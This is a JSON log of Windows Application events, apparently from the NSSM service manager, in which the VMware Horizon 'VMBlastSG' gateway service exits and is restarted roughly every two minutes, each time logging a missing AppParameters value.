{"@timestamp":1646802776654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160868","160868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165018}}
{"@timestamp":1646802776671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165019}}
{"@timestamp":1646802776672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165020}}
{"@timestamp":1646802776672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165021}}
{"@timestamp":1646802776674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165022}}
{"@timestamp":1646802905192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165023}}
{"@timestamp":1646802905193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165024}}
{"@timestamp":1646802905194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157536","0"]}}},"module":"Application","provider":"nssm","sequence":165025}}
{"@timestamp":1646802905194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157536","157536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165026}}
{"@timestamp":1646802905211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165027}}
{"@timestamp":1646802905212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165028}}
{"@timestamp":1646802905213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165029}}
{"@timestamp":1646802905213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165030}}
{"@timestamp":1646803033749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165031}}
{"@timestamp":1646803033750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165032}}
{"@timestamp":1646803033751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161580","0"]}}},"module":"Application","provider":"nssm","sequence":165033}}
{"@timestamp":1646803033752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161580","161580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165034}}
{"@timestamp":1646803033768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165035}}
{"@timestamp":1646803033769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165036}}
{"@timestamp":1646803033769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165037}}
{"@timestamp":1646803033770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165038}}
{"@timestamp":1646803162249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165039}}
{"@timestamp":1646803162250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165040}}
{"@timestamp":1646803162250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162568","0"]}}},"module":"Application","provider":"nssm","sequence":165041}}
{"@timestamp":1646803162251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162568","162568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165042}}
{"@timestamp":1646803162268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165043}}
{"@timestamp":1646803162268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165044}}
{"@timestamp":1646803162269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165045}}
{"@timestamp":1646803162270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165046}}
{"@timestamp":1646803290759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165047}}
{"@timestamp":1646803290760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165048}}
{"@timestamp":1646803290761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161608","0"]}}},"module":"Application","provider":"nssm","sequence":165049}}
{"@timestamp":1646803290761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161608","161608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165050}}
{"@timestamp":1646803290779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165051}}
{"@timestamp":1646803290780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165052}}
{"@timestamp":1646803290781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165053}}
{"@timestamp":1646803290781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165054}}
{"@timestamp":1646803419277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165055}}
{"@timestamp":1646803419278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165056}}
{"@timestamp":1646803419279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161920","0"]}}},"module":"Application","provider":"nssm","sequence":165057}}
{"@timestamp":1646803419279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161920","161920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165058}}
{"@timestamp":1646803419295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165059}}
{"@timestamp":1646803419296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165060}}
{"@timestamp":1646803419296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165061}}
{"@timestamp":1646803419297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165062}}
{"@timestamp":1646803547768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165063}}
{"@timestamp":1646803547769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165064}}
{"@timestamp":1646803547771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160552","0"]}}},"module":"Application","provider":"nssm","sequence":165065}}
{"@timestamp":1646803547771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160552","160552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165066}}
{"@timestamp":1646803547788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165067}}
{"@timestamp":1646803547789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165068}}
{"@timestamp":1646803547789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165069}}
{"@timestamp":1646803547790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165070}}
{"@timestamp":1646803676267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165071}}
{"@timestamp":1646803676267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165072}}
{"@timestamp":1646803676269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162524","0"]}}},"module":"Application","provider":"nssm","sequence":165073}}
{"@timestamp":1646803676272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162524","162524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165074}}
{"@timestamp":1646803676288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165075}}
{"@timestamp":1646803676288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165076}}
{"@timestamp":1646803676289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165077}}
{"@timestamp":1646803676290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165078}}
{"@timestamp":1646803804799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165079}}
{"@timestamp":1646803804800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165080}}
{"@timestamp":1646803804803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162428","0"]}}},"module":"Application","provider":"nssm","sequence":165081}}
{"@timestamp":1646803804804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162428","162428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165082}}
{"@timestamp":1646803804822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165083}}
{"@timestamp":1646803804823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165084}}
{"@timestamp":1646803804823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165085}}
{"@timestamp":1646803804824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165086}}
{"@timestamp":1646803933513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165087}}
{"@timestamp":1646803933515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165088}}
{"@timestamp":1646803933516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162144","0"]}}},"module":"Application","provider":"nssm","sequence":165089}}
{"@timestamp":1646803933516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162144","162144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165090}}
{"@timestamp":1646803933533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165091}}
{"@timestamp":1646803933533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165092}}
{"@timestamp":1646803933534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165093}}
{"@timestamp":1646803933535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165094}}
{"@timestamp":1646804062006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165095}}
{"@timestamp":1646804062007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165096}}
{"@timestamp":1646804062008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161412","0"]}}},"module":"Application","provider":"nssm","sequence":165097}}
{"@timestamp":1646804062009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161412","161412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165098}}
{"@timestamp":1646804062025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165099}}
{"@timestamp":1646804062026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165100}}
{"@timestamp":1646804062026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165101}}
{"@timestamp":1646804062027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165102}}
{"@timestamp":1646804190505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165103}}
{"@timestamp":1646804190506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165104}}
{"@timestamp":1646804190508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162160","0"]}}},"module":"Application","provider":"nssm","sequence":165105}}
{"@timestamp":1646804190509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162160","162160","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165106}}
{"@timestamp":1646804190525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165107}}
{"@timestamp":1646804190526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165108}}
{"@timestamp":1646804190526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165109}}
{"@timestamp":1646804190527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165110}}
{"@timestamp":1646804319021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165111}}
{"@timestamp":1646804319024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165112}}
{"@timestamp":1646804319024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162588","0"]}}},"module":"Application","provider":"nssm","sequence":165113}}
{"@timestamp":1646804319025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162588","162588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165114}}
{"@timestamp":1646804319042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165115}}
{"@timestamp":1646804319042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165116}}
{"@timestamp":1646804319043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165117}}
{"@timestamp":1646804319044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165118}}
{"@timestamp":1646804447521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165119}}
{"@timestamp":1646804447522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165120}}
{"@timestamp":1646804447525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158704","0"]}}},"module":"Application","provider":"nssm","sequence":165121}}
{"@timestamp":1646804447526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158704","158704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165122}}
